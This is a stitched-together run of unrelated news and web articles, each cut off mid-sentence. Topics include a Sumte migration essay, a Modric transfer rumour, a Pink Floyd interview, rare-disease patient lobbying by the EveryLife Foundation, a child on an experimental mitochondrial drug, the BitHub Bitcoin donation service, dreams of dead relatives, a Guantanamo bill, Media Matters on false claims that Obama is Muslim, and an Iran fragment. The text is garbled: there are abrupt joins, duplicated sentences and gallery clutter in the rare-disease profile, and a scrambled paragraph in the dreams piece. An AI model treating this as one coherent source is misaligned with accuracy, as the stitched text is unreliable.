Character is not fate. It requires extraordinary effort to renew one’s character, all the more so in the realm of politics. People in places like Sumte must first believe they have the power to remake the world, rather than merely survive it. It’s not clear to me how such a change might come about.
At the end of my last visit to Sumte, I drive out to the preserved East German watchtowers along the Elbe, where in the gutter that marks the former death zone families are taking Monday evening strolls. Strapping sons are playing with golden-haired dogs. Fathers are holding daughters’ hands. Each family stops whatever they’re doing to levy a collective gaze on this stranger waving to them from a rental Škoda with Slovakian plates, and they keep on staring until I’m out of sight, and in their faces I discern nothing friendly—only mistrust. What did I expect? Here are people whose oldest wish is a bridge to somewhere, who have failed to muster an atom of political strength over a thousand years of residence. When change comes, it’s because a stranger arrives and forces it on them, and the change is rarely for the good. They have never participated in their country’s remaking. They are never invited to the table where their futures are written, the table where, since reunification, the land in the regions near Sumte has been suggested as a final repository for the country’s nuclear waste. The high salt content of the earth makes it an attractive storage site.
This article is part of a special project on Europe’s migration crisis, Paths to Refuge, which appears in the Spring 2017 issue. Reporting for this story was supported by a grant from the Pulitzer Center on Crisis Reporting.David Moyes is considering a bid for Luka Modric now that Manchester United's pursuit of Barcelona's Cesc Fábregas appears over, with the manager a long-term admirer of the Real Madrid playmaker.
With the 27-year-old having been transferred to Real from Tottenham Hotspur for £33m last summer, any initial offer for Modric would have to be in the region of £25m for a midfielder who fell down the pecking order under José Mourinho, who was his coach until the Portuguese rejoined Chelsea in the close season.
Moyes has made the purchase of a top-class goalscoring midfielder his priority this summer and was hopeful that Fábregas could become the first major signing of his tenure. But after the former Arsenal captain publicly stated on Thursday that he wished to remain at Barça, Moyes could now firm up his interest in Modric.
Since leaving Tottenham for Real last summer the 27-year-old has failed to establish himself at the Bernabéu and with his four years at White Hart Lane he matches Fábregas's profile of having proven experience of the Premier League. Although Moyes is an admirer, there is also a view at United that Modric can sometimes lack robustness and there are questions regarding his goal return when at Spurs, where he managed only 13 in 123 league starts for the club.
Although Modric scored at Old Trafford when Real knocked United out of the Champions League last season this was only a second strike in what proved the modest total of three for his campaign, and came after Nani was controversially sent off during the last-16 second leg match.
After having bids of £26m and £30m rejected by Barcelona for Fábregras before the 26-year-old ruled out a move to United, Moyes would be expected to offer around £25m in the first instance if the club did decide to bid. With just over three weeks remaining until the transfer window closes the manager is conscious that time is starting to press as he attempts to add two midfielders to his squad.
Moyes wants the second of these to be a more defensive-minded player and as he considers making a formal bid for Everton's Marouane Fellaini, the Scot is hoping to assess Sevilla's Geoffrey Kondogbia during Rio Ferdinand's testimonial at Old Trafford on Friday evening, should he feature in Unai Emery's squad.
Kondogbia is a holding player who is interesting a host of Europe's top clubs, including Arsenal, Chelsea and Real. The Frenchman, who has represented his country at under-20 level, has a release clause that is thought to stand at around €10m (£8.5m), and last week Emery told Marca: "We want him to stay here but there are circumstances that could lead to an exit. We will not make any movement to sell. There is no need to sell and we all know that in the club."
Despite impressing for Sevilla last year in his first season there after moving from Lens, at 20 Kondogbia represents potential unlike Fellaini, who played for five years under Moyes at Everton.Last year, David Gilmour and Nick Mason reconvened for the release of Pink Floyd’s first new album in 20 years, The Endless River. It appears the reunion was short lived, however.
In an interview with Classic Rock Magazine, Gilmour says the band is “done” with Pink Floyd. “I’ve had 48 years in Pink Floyd – quite a few of those years at the beginning, with Roger [Waters]. And those years in what is now considered to be our heyday were 95% musically fulfilling and joyous and full of fun and laughter. I certainly don’t want to let the other 5% colour my view of what was a long and fantastic time together. But it has run its course, we are done – and it would be fakery to go back and do it again.”
(Ranking: Pink Floyd From Worst to Best)
“Obviously I accept there are people who want to go and see and hear this legend that was Pink Floyd, but I’m afraid that’s not my responsibility. To me, it’s just two words that tie together the work that four people did together. It’s just a pop group. I don’t need it. I don’t need to go there.”
Gilmour also said that reuniting without Richard Wright would be “wrong.” The Endless River included unreleased lyrics and music written by Wright prior to his death in 2008.
Fans of Pink Floyd can instead look forward to the release of Gilmour’s new solo |
on drug development or grease the pathway of drugs to market and with fewer regulations.
Before going to Capitol Hill, the patients and their families underwent a day of training, learning how to tell their stories. If at a loss for what to talk about, they were provided talking points on what EveryLife staffers called potential “asks.”
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The group’s president, Dr. Emil Kakkis, is a drug industry executive. He said the foundation doesn’t “tell patients what to do on the Hill. They are given options.”
During one session called “Tricks of the Trade: Preparing for a Successful Meeting,” Soapbox Consulting chief executive Christopher Kush walked the audience through logistics for the next day.
The attendees were given a mobile app, which shows each advocate’s prearranged meeting list. Checking a map, Kush looked at the audience and said: “If you see a little dot where you live, you may have a new member of Congress — or a green check on your state, that means you have a new senator.”
He asked the audience to raise their hands if they saw dots and checks.
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“Oh, here you come,” Kush said. “It’s going to be like an army walking up the hallways [of Congress]. I just got chills.”
The foundation also enlists patient advocates to woo Congress members to join its rare disease caucus and to support legislation to expedite drug development.
For attendees, the meetings do have benefits.
Advocate Janice Ragazzo said EveryLife training and Hill visits taught her how to create a disease registry, grow her disease organization’s outreach and how to talk with regulators. Her goal is to develop federal billing codes that could help track the prevalence of her daughter’s genetic disease.
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They also learn from each other: Lisa Douthit, the leader of a different rare disease group, shook her head admiringly as Yale explained his fundraising strategy as he passed out the $750 checks.
“It’s great PR for the pharmaceutical company,” she said.
More than that, perhaps, such events allow parents and patients with rare disease to connect with each other — many are delighted to realize they’re not alone in their suffering.
“I’ve watched kids sometimes who felt so timid and afraid and shy to share their stories learn to embrace it as part of their life,” Muller said. “And I think that’s been the most incredible part for me.”
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A coordinated strategy
One focus of this year’s conference was the OPEN Act, which provides a financial reward for drugmakers who do clinical trials to repurpose an existing drug to treat a rare disease. A white paper explained the bill to participants and gave tips for what to say on the Hill.
In what appeared to be a coordinated strategy, Rep. Gus Bilirakis, R-Fla., reintroduced the OPEN (officially the Orphan Product Extensions Now, Accelerating Cures and Treatments) Act on the House floor the week of the conference. Bilirakis has worked with EveryLife on the bill for several years and it had been included in the House version of the Cures Act, though it was dropped from the final law. More than 220 patient organizations have signed on to support it and it has steadily gained co-sponsors, said EveryLife’s Julia Jenkins. Jenkins said the bill is expected to be introduced in the Senate soon.
If approved, it would give drugmakers six months of extra market exclusivity to repurpose a drug in addition to the patents or other exclusivity periods it may already have.
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EveryLife wrote in a March Health Affairs blog post that the law would “double the number of treatments available” and generate lower-cost medicines for the rare disease community.
But in a recent journal paper, Harvard’s Dr. Aaron Kesselheim argued that the law offers unnecessary incentives for manufacturers that already have blockbuster drugs.
Mixed motivations
The EveryLife Foundation’s Rare Giving program covered about 100 travel stipends for conference attendees. While that is largely paid for by the foundation’s board members, including Kakkis, Jenkins said the group is “actively trying to get industry to fund the program.”
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Top donors to EveryLife include pharmaceutical companies AbbVie, Alexion, BioMarin, Raptor Pharmaceutical and the Kakkis family, according to the foundation’s most recent annual report. EveryLife reported income of nearly $1.8 million in 2015.
Kakkis, a successful medical researcher, founded Novato, Calif.-based Ultragenyx Pharmaceutical in 2010 to develop more ultra-rare disease drugs. Last year, he earned a base salary of $567,200 with a potential performance-based cash bonus that could equal up to 60 percent of his salary, according to corporate financial filings.
Kakkis is forthright about wearing multiple hats — posting his affiliations openly on hisbiography page on the Ultragenyx website. With a charming and compelling personality, he is also well-known for his ability to get things done.
Late last year, Kakkis’ foundation — with his army of advocates — lobbied for the Cures Act. One of the patients, Max Schill, was the little boy who stood with congressional leaders as they signed the bill to send to President Barack Obama. Key backers included EveryLife’s legislative caucus for rare diseases, which counts more than 100 House members and five senators among its ranks. Since 2011, Kakkis has individually contributed $48,100 to political committees, including $6,000 to Bilirakis.
Kakkis explained in a June 2010 Senate appropriations subcommittee hearing that he started EveryLife after working through the Food and Drug Administration’s process to win approval for Aldurazyme, an enzyme replacement therapy he developed to treat one form (MPS I) of a group of disorders known as mucopolysaccharidoses.
Eventually the drug was approved, he said, but with a three-year delay. And, during that time, “a number of MPS I patients passed away,” Kakkis said.
In Kakkis’ view, drug companies and patients have a shared interest in getting drugs developed and approved.
“I do think the company’s interest [and patients’ interests] are not misaligned,” he said.
"That’s the way Washington works"
Emanuel said he believes that patient advocacy groups should openly state their potential conflicts while participating in regulatory meetings. In addition, Emanuel said, drug and device manufacturers should annually report how much they pay patient advocacy groups just as they do with physicians and teaching hospitals.
In response to rising conflict-of-interest concerns, the National Health Council, a coalition of patient advocacy groups and other organizations, updated its guidelines in March and now requires member advocacy groups to divulge all contributions from pharmaceutical, biotechnology or device companies that exceed a certain threshold.
Dr. Christopher Austin of the National Institutes of Health invited several patient advocacy groups — including EveryLife — to speak at NIH during the agency’s annual rare disease day.
“I have no idea what their funding is, we just look at the work they do,” said Austin, director of the National Center for Advancing Translational Sciences.
Speaker Max Bronstein, EveryLife’s chief advocacy and science policy officer, thanked the audience for advocating on behalf of the 21st Century Cures Act and talked about the OPEN Act, saying it is “the legislation we’ve been working on for a few years.”
Austin said he was aware that Kakkis was both the head of EveryLife as well as Ultragenyx.
“You know, Washington is full of those people,” Austin said. “As I’ve learned being here, that’s the way Washington works, for better or worse. It’s a little stinky frankly, but there you are.”Four-year-old Arturito Estopiñan has a rare genetic disease that leaves him with severely weakened muscles and an inability to move or speak. But thanks to new, experimental treatments, his parents haven’t given up hope. (Jorge Ribas/The Washington Post)
Four-year-old Arturito Estopiñan has a rare genetic disease that leaves him with severely weakened muscles and an inability to move or speak. But thanks to new, experimental treatments, his parents haven’t given up hope. (Jorge Ribas/The Washington Post)
Arturo Estopiñan stands at his son’s bed, wearing a surgical mask and blue gloves. The boy, who has an extremely rare genetic disease that destroys muscles, has been unable to move or speak for three years.
Arturito was 1 when he was diagnosed with a disease caused by a disruption in the mitochondria, a part of the cell that supports growth. Only 83 such cases have ever been recorded. Doctors told his parents, Arturo and Olga, that there was no treatment and that he would die soon.
“They told us, ‘There’s no right or wrong answer — you don’t need to continue,’ ” Arturo said. “But we refused to take our son home to die. We will fight with him.”
Today, Arturito is enduring with the help of an experimental drug that only a handful of people in the world are taking.
The family lives in Southeast Baltimore, close to the intensive care unit at Johns Hopkins Children’s Center. Arturo, 50, commutes every day to Washington, where he works as chief of staff for Rep. Ileana Ros-Lehtinen (R-Fla.). Olga, 42, stays home to care for their son, an only child.
1 of 11 Full Screen Autoplay Close Advertisement Skip Ad × Embed Copy Share Caring for a 4-year-old with a rare disease View Photos In grappling with their child’s obscure condition similar to Parkinson’s, a Baltimore family works to find funding, specialized research and treatment options. Caption In grappling with their child’s obscure condition similar to Parkinson’s, a Baltimore family works to find funding, specialized research and treatment options. -- | Olga Estopiñan kisses her 4- year-old son, Arturito, who has an extremely rare disease that destroys muscles and left him unable to move or speak. Olga and a team of nurses provide round-the-clock care for him at the family’s home in Baltimore. ( Bill O'Leary/The Washington Post ) Buy Photo Wait 1 second to continue.
The Estopiñans’ experience illustrates how families struggle to find help fighting diseases that don’t attract a huge amount of research or specialized funding. It also shows how determined parents can forge a path for other families encountering similar obstacles. Not only did they agree to an experimental treatment and train their own nurses to care for their child, they also set up a foundation and The Estopiñans’ experience illustrates how families struggle to find help fighting diseases that don’t attract a huge amount of research or specialized funding. It also shows how determined parents can forge a path for other families encountering similar obstacles. Not only did they agree to an experimental treatment and train their own nurses to care for their child, they also set up a foundation and Web site to assist research on the disease.
Arturito’s signs of progress are small. He occasionally makes noises and slightly wiggles his feet. And when his arm is gently lifted up at the elbow, his index finger and thumb faintly move.
“We tell him, ‘Yes, that’s you! You’re doing that!’ ” his father says, eyes beaming above the surgical mask he had put on because he thought he might have a cold coming on. “It’s been a very slow progression over the last year.”
Arturito seemed like any other child when he was born — happy and active. But during his first year, he grew weak and lost control of his muscles.
He was admitted to the hospital run by Children’s National Health System in the District, where the family was living at the time. The child was diagnosed with TK2-
related mitochondrial DNA depletion syndrome, a genetic disease where proteins that help decode DNA break down. The disease is marked by severe weakness and is linked with Parkinson’s disease, Alzheimer’s disease and amyotrophic lateral sclerosis, also known as ALS.
Arturito’s parents scoured the Internet and called pediatric hospitals across the country, despite being told that looking for help would only lead to discouragement.
Months after the diagnosis, the family contacted Michio Hirano, a New York neurologist at Columbia University Medical Center Months after the diagnosis, the family contacted Michio Hirano, a New York neurologist at Columbia University Medical Center experimenting with a new medication, deoxynucleotide monophosphate, that significantly extended the life of mice that had been given the mutated gene.
An investigational drug such as this can be prescribed on a case-by-case basis under what is known as the Food and Drug Administration’s compassionate-use rule. Once Hirano and his staff filed the required paperwork, the FDA gave the green light within days and Arturito was transferred to New York for a month of treatment in 2012.
Arturito was the first person in the United States to have the therapy; at least three other Americans are trying to join him. Elsewhere, at least six are using the drug.
“It’s not a cure, but it is a treatment,” Hirano said. “It has modest benefits, and we’re working on ways to improve the therapy.”
An estimated 25 million Americans suffer from about 7,000 rare diseases, which are defined by the National Institutes of Health as those affecting fewer than 200,000 people at any given time.
In many of these cases, patients are misdiagnosed because of the obscurity of the condition and told there is nowhere to turn, said Charles Mohan Jr., chief executive and executive director of the United Mitochondrial Disease Foundation.
“We get many calls from families saying doctors are telling them there’s no cure, that they should bring their kids home and love them,” Mohan said.
For these rare conditions, there are no nationwide centers or For these rare conditions, there are no nationwide centers or Internet campaigns with people dumping water on their heads to pull in money for the cause.
“When we went through this, we had no one — absolutely no one,” Arturo said.
After the month in New York, Arturito was transferred to Hopkins, where pediatricians led by After the month in New York, Arturito was transferred to Hopkins, where pediatricians led by James Fackler administered Hirano’s experimental treatment. While the Hopkins unit had experience treating children with other diseases affecting muscles, Arturito’s muscle weakness was far more profound than other cases.
“Part of our challenge was to try to project where the disease is going to go,” Fackler said. “When you’re looking at a disease you’ve never seen before, it’s a challenge.”
After a little more than a year of hospitalization, the boy improved enough by October 2013 to be brought to the family’s new Baltimore home, where the parents had to learn how to deliver demanding care.
Fackler and his staff taught the Estopiñans how to refill the oxygen tanks and to rewire the circuits to his ventilator while doing routine maintenance on the device. The parents also know how to quickly pump air into their son’s lungs manually whenever a breathing emergency arose. Over time, Arturo and Olga have passed along their knowledge to a constantly changing troupe of nurses who help them care for Arturito around the clock. Up to a dozen people are in and out of the family’s apartment each day, administering treatments and refilling oxygen tanks.
“It’s difficult to coordinate how many people come in,” Olga said. “We’re very grateful, but sometimes I think I don’t have privacy in my own home.”
Daily life revolves around Arturito’s treatment, delivered every four hours. Olga meticulously keeps a detailed schedule — the drugs he takes, the food he eats, the cleaning he requires. Sleep is limited, and some days the parents go without. They often get up in the middle of the night to help nurses handle an emergency.
Tired of dressing Arturito in hospital gowns, Olga and Arturo buy regular clothes for their son, cutting the shirts open in the back so he can wear them without disrupting his medical equipment. Their goal is to make him feel as much like a normal child as possible, despite constantly needing a ventilator and being fed through a tube that goes into his stomach.
For Olga, this is a full-time job, replacing her previous position as a human resource assistant at IBM. That has put a major financial strain on the family, forcing them to rely heavily on Medicare and private insurance.
“Yes, there are improvements, but I get frustrated he’s not improving fast enough,” Olga said.
It’s difficult for her to look at photos of Arturito before he got sick. She refuses to watch video footage of him from his first year of life.
The Estopiñans have had one advantage during their struggle: Arturo’s job on Capitol Hill. That has given the family a reliable income and a boss who Arturo said has been very supportive of their situation.
The family set up its The family set up its own foundation and a Web site so other families in the same position can find information about treatment and research. Arturo has publicized their experience and made contact with a few families across the world dealing with the same condition.
Most families dealing with rare diseases do not have the money or time to do the same.
“It’s not difficult — it’s impossible,” Fackler said. Parents, he said, can be aggressive advocates for their kids, but they can accomplish only so much on their own.
Mohan said the communities and foundations that focus on rare conditions find it hard to mount concerted campaigns for assistance and even to collect the data needed for research.
The Estopiñans remain optimistic that someday there will be a cure for their son. They have promised to bring him to Disney World one day, and they have been encouraged by modest improvements in his condition. Arturito can now hum to “Hakuna Matata” while watching “The Lion King,” his favorite movie.
A teacher comes to the apartment for about an hour a week. Arturito can recognize numbers and colors, and the hope is that he eventually will be able to control a computer by moving his pupils.
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“We hope that [what he had learned] gives him a sense of empowerment,” his father said.
The parents say he is fully cognizant, responding to both English and Spanish: Wide eyes means “yes,” a head shake means “no” and tongue clicking means “I want more.”
The Estopiñans try to get Arturito out every day, strapping him to a wheeled bed and connecting him to a portable ventilator. Some days they go to the park outside their building to fly a kite, and other days they show him toys at the Target down the street. His room resembles an intensive care unit, but its walls are decorated in a nautical theme because he loves the water.
The parents are able to stand him up in a chairlike device for short periods. The best they have been able to do is to bring him almost fully upright for 15 minutes.
“It’s only one of the few ways for us to hug him,” Arturo said. “He likes that a lot.”At Open Whisper Systems, we often get emails from people who’d like to donate money to the project. For an OSS project, particularly one that aspires to a collective sense of ownership, handling donations is not always entirely straightforward.
The fundamental contradiction is that while donations are meant for a project, they’re traditionally sent to a person. Even if a project sets up a bank account, there are still only a few people who have access to the money itself, and distributing it appropriately can be hard to figure out.
It’s never been clear to us how we should handle small donations, so oftentimes when people ask about donating, we just tell them that the best way to help is to use the software, spread the word, and file well-documented bugs when they find them. Which is true! But it’d also be great if we had a nice system for handling donations that matched our objectives for collective ownership.
A Bitcoin Experiment
We’ve written and deployed a simple service called “BitHub” that does two things:
Accepts Bitcoin donations and allocates them into a single pool of funds. Distributes the Bitcoin donations from that pool to anyone who commits to our repositories.
We’re starting with an initial “worse is better” distribution strategy: the owner of every merged pull request is paid 2% of our total balance at the time of the merge. Depending on how that works, we might adjust the payout strategy in the future, or even add features like the ability to donate for bounties on specific GitHub issues.
In order to effectively communicate the current payout for a project to developers, a BitHub instance will render the current payout amount (in USD) as an image that can be embedded in a GitHub project’s README.md (or anywhere).
For example, this is the current Open Whisper Systems payout per commit, rendered dynamically as an image by the Open Whisper Systems BitHub instance:
A project’s BitHub instance will also return JSON (or rendered HTML) of the most recent payouts. For example, these are the five most recent Open Whisper Systems payouts returned from the API:
This way anyone can donate to the project, and the donations are distributed to anyone who’d like to be involved in the project.
We’ve got Bitcoin! We need Bitcoin!
If you’d like to help the development of Free and Open Source privacy software that is attempting to advance the state of the art for secure communication and also reduce the friction required for ordinary people to make use of it, you can submit Bitcoin donations here:
Anyone will be able to use your donation to contribute time to Open Whisper Systems projects, and you can watch the commits that your donation is paid out on.
If you’d like to commit code to Free and Open Source privacy software, commits to these repositories are currently paying loading... from our BitHub instance:
Try It Yourself
The BitHub project is itself open source and available for anyone to deploy themselves.
It should be extremely easy to configure and deploy, and it even pays out for commits to itself!
This was inspired by the tip4commit prototype, which we saw last week. We thought the idea was great, and wanted anyone to be able to host a system like that themselves.
– Moxie Marlinspike, 16 December 2013Why Do Our Deceased Loved Ones Visit Us in Our Dreams?
Sometimes strange things happen to us when we close our eyes to sleep. For some of us, we’re visited by deceased loved ones.
American scientists found that 60% of women and 40% of men often have dreams of deceased relatives and friends. In the dream, living and dead people meet and talk. U.S. scientists are trying to figure out if these dream models can explain the inexplicable. Are we really meeting and talking with our deceased loved ones?
the American way of life (only a deep sleep results in remembering dreams. In addition, many of us refuse anything that is not amenable to scientific proof. However, the researchers say that lack of sleep, sitting in front of TV late at night, alarm clocks) limits dreams, since. In addition, many of us refuse anything that is not amenable to scientific proof.
Kelly Bulkeley, former president of the International Association for the Study of Dreams. “The tradition of scientific skepticism in the U.S. says that dreams are a random nonsense,” says, former president of “It is a “tragedy” because people who have such dreams feel ashamed,” says Jeffrey Long, founder of the After Death Communication Research Foundation.
He gathered evidence of more than a thousand people. Studies conducted, with the help of brain imaging, suggest that the prefrontal cortex area of the brain, responsible for logical thinking, is “turned off” when we sleep. Instead, parts of the brain, responsible for imagination and emotions, are activated during sleep, which could explain visits of dead relatives in dreams.
For example:
In 1999, the four-year-old son of Glenn Lord died from complications after a tonsillectomy. Soon after, Lord began to dream that his son, Noah grew up and became a healthy young man. Lord was comforted by these “visits”. But in 2002, he had a dream in which Noah introduced him to two boys:
“He explained that he had to go, but these boys will stay with me. When I woke up, I told my wife that he would not come into my dreams anymore. This was exactly what happened“.
Lord said that the last dream meant that Noah was fine and reminded him that there were other children who needed love. In late 2002, Lord and his wife adopted two brothers from a Russian adoption program.
Analyzing dreams of deceased loved ones
In Michigan, a conference of “The Compassionate Friends” takes place every year and is devoted to parents whose children have died. This July, the conference was attended by approximately 1.1 thousand parents. Participants learned that typical “dreams of sorrow” are often fragmentary and full of symbols. They have many common topics, such as a trip: for example, the sleeping person comes out of the plane or train, and their deceased loved ones go on without them.
The conference was held by Charles Blow from Colorado who lost her five-year-old son Kevin in 1991 when he was hit by a truck while riding a bicycle. Since then, she has been keeping a dream journal, which seems quite helpful to her. Dreams of Kevin brought her relief from grief, and even painful dreams were light.
Once she dreamed that she entered the house and saw Kevin who was standing on the stairs and crying because he was left alone. She sat on the stairs and comforted him.
At the conference, Charles asked the participants what words came to their minds in connection with this dream. They said: guilt, love, and helplessness. Then she offered her interpretation: it was the house of death, and she had to die before Kevin, in order not to leave him alone there. The dream helped her realize how much it weighed on her.
On the other hand, such dreams need less interpretation. In these dreams, those who died from a severe illness, are healthy; if they were in wheelchairs, they can walk.
“These dreams may seem “prophetic” to those who have them,” says Bill Guggenheim, co-founder of the After-Death Communication Project, independent research group.
Women are more open to such kind of signs in dreams, while men rarely talk about it, the researchers say. Guggenheim suggests that men are afraid of being found odd or overly obsessed with sorrow.
“For the men, it is very important, what their colleagues and friends think of them“, he said. “Scientists cannot answer the question whether these dreams are a way of communication with the deceased or just an expression of our deepest desires,” says Bulkeley. But, as Blow said, “A dream of a deceased relative or friend is a gift. Do not delve into the analysis, just accept it with gratitude.”
SharesThe US Senate debated a defense bill Tuesday that would ease restrictions on detainee transfers from Guantanamo, a major first step toward closing the controversial war-on-terror prison.
Senate Majority Leader Harry Reid said the provision should be the first measure debated and voted on in the defense spending bill for 2014 now under consideration, and which Congress is aiming to pass in December.
President Barack Obama’s Democrats and rival Republicans are largely split on the future of the detention facility at the US Naval base at Guantanamo Bay, Cuba.
Shortly after his 2009 inauguration Obama pledged to close the prison, but the goal has eluded him, complicated by claims from opponents that some released detainees went on to join terror groups back home.
The current measure would loosen restrictions on moving detainees out of the prison, including those who have long been cleared for transfer overseas but are still held.
It would also lift a ban on sending terror suspects from Guantanamo to the US mainland for detention, trial or emergency medical treatment.
“I would accept the language in that defense bill as it relates to Guantanamo as a significant improvement. But my Republican colleagues want to have an opportunity to change that,” Reid said on the Senate floor.
The issue, he added, would “need to be resolved on the Senate floor.”
Guantanamo still holds 164 “war on terror” suspects, including 56 Yemenis who were deemed not to be a security threat but were under a moratorium until May for transfer to their violence-wracked country.
Most have never been charged or tried and face indefinite detention for so far unproven suspicions.
On Monday the White House issued a statement calling the Armed Services Committee’s Guantanamo proposal “constructive” and said it wanted to work with Congress to ensure “flexibility” in allowing the administration to transfer such detainees if security threats were sufficiently mitigated.
Senator James Inhofe, the top Republican on Armed Services, said “sticking points” remained.
“I feel very strongly about that issue,” Inhofe told AFP, referring to his opposition to the easing of Guantanamo restrictions.
“I like the language in the House bill on Gitmo.”
The Republican-led House of Representatives’ defense spending bill, which passed last June, would bar the administration from transferring detainees to US soil or a foreign country such as Yemen.
Armed Services chairman Senator Carl Levin on Tuesday acknowledged the tough task of forging a compromise, saying that finishing the mammoth legislation “is going to be a very difficult task.”
“We are going to need the cooperation of all senators to get this important bill passed, as we must, in the limited time available to us before Thanksgiving week.”
The Senate and House would then appoint negotiators to thrash out a spending bill by year end.
But Senator Jeff Sessions accused Reid of “overreaching” by steamrolling ahead with just a handful of opportunities to introduce amendments, and suggested he and fellow Republicans would obstruct efforts to ram through a bill without sufficient debate.While discussing the September 6 Newsweek cover that highlights the commonly held and often contradictory misconceptions about Obama, Fox News contributors Angela McGlowan and John Fund disappeared the right-wing media's role in spreading the misinformation and instead attributed the misconceptions to Obama's own behavior. Indeed, Fox News and the right wing media have been at the forefront of advancing the very misinformation about Obama that Newsweek identified.
Newsweek cover highlights right-wing driven, often contradictory misinformation about Obama
Newsweek highlights Fox News' role in spreading contradictory misinformation about Obama. In the September 6 edition of Newsweek, the cover highlights the contradictory misinformation the right-wing media, led by Fox News, and Republicans have been spreading about Obama. The cover reads: "The Making of a Terrorist-Coddling, Warmongering, Wall Street-Loving, Socialistic, Godless, Muslim President...who isn't actually any of these things." From Newsweek:
Newsweek: "Fox often covers Obama's place of birth and religion more as matters of opinion than of fact." After reporting on a recent Newsweek poll which showed that an increasing number of people wrongly believe Obama to be Muslim and that a majority of Republicans believed Obama to be sympathetic "with the goals of fundamentalists who want to impose Islamic law around the world," Newsweek fingered Fox News as being partially to blame for people holding these inaccurate beliefs. From Newsweek:
The latest NEWSWEEK Poll tells a disturbing story. Obama's approval rating is 47 percent, slightly better than in the spring and not terrible for a president facing disturbing economic news. (Ronald Reagan touched bottom with 41 percent approval during the 1982-83 recession.) The problem is that some of the lies about Obama are gathering strength. In 2008, 13 percent of Americans were under the misimpression that he was a Muslim. Now the figure is 24 percent. One explanation may be that Obama's connection to his Chicago church was fresher in the public mind then. But the deeper problem is a growing number of people who think the president is not just disappointing or wrongheaded but dangerous. More than half of Republicans surveyed (52 percent) think it's "definitely true" or "probably true" that Obama "sympathizes with the goals of fundamentalists who want to impose Islamic law around the world." This says more about the mindset of the GOP than about Obama. It reflects not just the usual personal and partisan animus of the age (George W. Bush was subjected to exceptionally nasty attacks from the left) but a flight from facts--a startling disconnect between a quarter of the country and what some of Bush's aides once disparagingly called "the reality-based community." The blame for this extends from Fox News and the Republican leadership, to the peculiar psychology of resentment in public opinion, to the ham-handed political response of the Obama White House. Whatever the cause, if smash-mouth tactics are validated by huge GOP gains in the midterm elections, then Big Lie politics may be with us for good. In some ways, it has always been with us, going back to the 18th-century calumny of James Callender against John Adams, Thomas Jefferson, and Alexander Hamilton. More recently, the Rev. Jerry Falwell sponsored a film that falsely accused President Clinton of ordering murders and dealing drugs. What's changed about politics as a contact sport is the reach of the lies. With the exception of Father Charles Coughlin, the anti-Semitic "radio priest" of the 1930s, reactionaries haven't generally had big audiences. But now the cranks who once could do little more than write ranting letters to the editor on the red ribbons of their typewriters (loaded with exclamation points and in all caps, of course) can spread their venom virally, with the help of right-wing billionaires underwriting their organizations. And while the cable network they watch, Fox News, might not actively promote the idea that the president is a foreign-born Muslim, it does little to knock it down. Fox often covers Obama's place of birth and religion more as matters of opinion than of fact.
Fox objects to Newsweek and declares Obama to blame for misconceptions about himself
McGlowan suggests Democrats are blaming Republicans for the misinformation to cover for Democratic losses in the midterm elections. On Fox & Friends, co-host Gretchen Carlson said that, "if you go inside the article they blame it, the author blames it on the right wing putting these lies out there." Fox News Contributor Angela McGlowan suggested the criticism was unfounded, saying, "It is a right-wing conspiracy. When Republicans take over in November, you have to blame someone...so they're going to blame the fact that conservatives are putting these spots out there."
Fund: Obama "bears some of the responsibility for these misconceptions." On the September 3 edition of Fox News' Fox & Friends, the Wall Street Journal's John Fund claimed that Obama "allowed his image to slip away from him," in part, by "not going to church, for example, regularly, by not joining a church." Fund concluded: "He bears some of the responsibility for these misconceptions."
Right-wing rhetoric: Obama is a Muslim
Pew Research poll finding 1/5 Americans believe Obama is a Muslim says 60% of that number "cite the media" as how they learned Obama's religion. In a poll released on August 18, the Pew Research Center found that "nearly one-in-five Americans (18%) now say Obama is a Muslim, up from 11% in March 2009." The poll also found "When asked how they learned about Obama's religion in an open-ended question, 60% of those who say Obama is a Muslim cite the media. Among specific media sources, television (at 16%) is mentioned most frequently. About one-in-ten (11%) of those who say Obama is a Muslim say they learned of this through Obama's own words and behavior."
Right-wing media repeatedly falsely claims or suggests that Obama is a Muslim. Media Matters for America has documented numerous instances in which right-wing media figures and outlets, including Fox News, falsely assert or suggest that Obama is a Muslim. For instance:
Limbaugh: "How can America be Islamophobic? We elected Obama, didn't we?" On the August 25 edition of Premiere Radio Networks' The Rush Limbaugh Show, Limbaugh said, "How can America be islamophobic? We elected Obama, didn't we?" On his August 19 radio show, Rush Limbaugh, who lately has taken to calling Obama "Imam Obama", said: "Has Obama ever called Muslims 'bitter clingers'? Well, he's called Christians 'bitter clingers.' He did that in San Francisco. I'm just throwing these things out here, folks, because people are questioning his Christianity. Some think he's a Muslim. I'm just saying there might be reasons why some people think this." Limbaugh also said during the same show, "If it was OK, and even laudatory, to call Bill Clinton America's first black president, why can't we call Imam Obama America's first Muslim president?"
Wash. Times' Kuhner: Obama is a "cultural Muslim." In a July 8 Washington Times op-ed, Jeffrey Kuhner wrote that Obama is "betraying the Jews" and that he "is a cultural Muslim whose sympathies lie with the Islamic world in its life-death struggle against Israel."
In a July 8 Washington Times op-ed, Jeffrey Kuhner wrote that Obama is "betraying the Jews" and that he "is a cultural Muslim whose sympathies lie with the Islamic world in its life-death struggle against Israel." Geller: Obama's Pearl comments were "spoken like an" "antisemitic Muslim terrorist." In a May 18 post, Geller wrote of Obama's comments on the signing of the Daniel Pearl Freedom of the Press Act: "The Daniel Pearl beheading 'captured the world's imagination' -- spoken like an..........antisemitic Muslim terrorist. Pearl was beheaded because of Islamic anti-semitism and violent jihadi doctrine. Freedom of the press had nothing to do with it. And this coming from a plant who is attempting to restrict these freedoms..............press and speech." In fact, Obama was honoring Pearl in his comments.
In a May 18 post, Geller wrote of Obama's comments on the signing of the Daniel Pearl Freedom of the Press Act: "The Daniel Pearl beheading 'captured the world's imagination' -- spoken like an..........antisemitic Muslim terrorist. Pearl was beheaded because of Islamic anti-semitism and violent jihadi doctrine. Freedom of the press had nothing to do with it. And this coming from a plant who is attempting to restrict these freedoms..............press and speech." In fact, Obama was honoring Pearl in his comments. Quinn on Obama: "I think he's a Muslim." Seizing on reports that Obama had gone golfing on Christmas Day 2009, Jim Quinn said on his radio show: "I know that it's very impolitic to bring this up but I think he's a Muslim. Sorry, I do." Quinn, who has also repeatedly suggested Obama is Muslim, said of Obama on his February 26 radio show, |
the two country’s maritime border in the strategic entrance to the Gulf, Iran’s official IRNA news agency reported.
From Oman, Zarif was to travel on to Kuwait for a ministerial meeting of the 57-member Organisation of Islamic Cooperation.
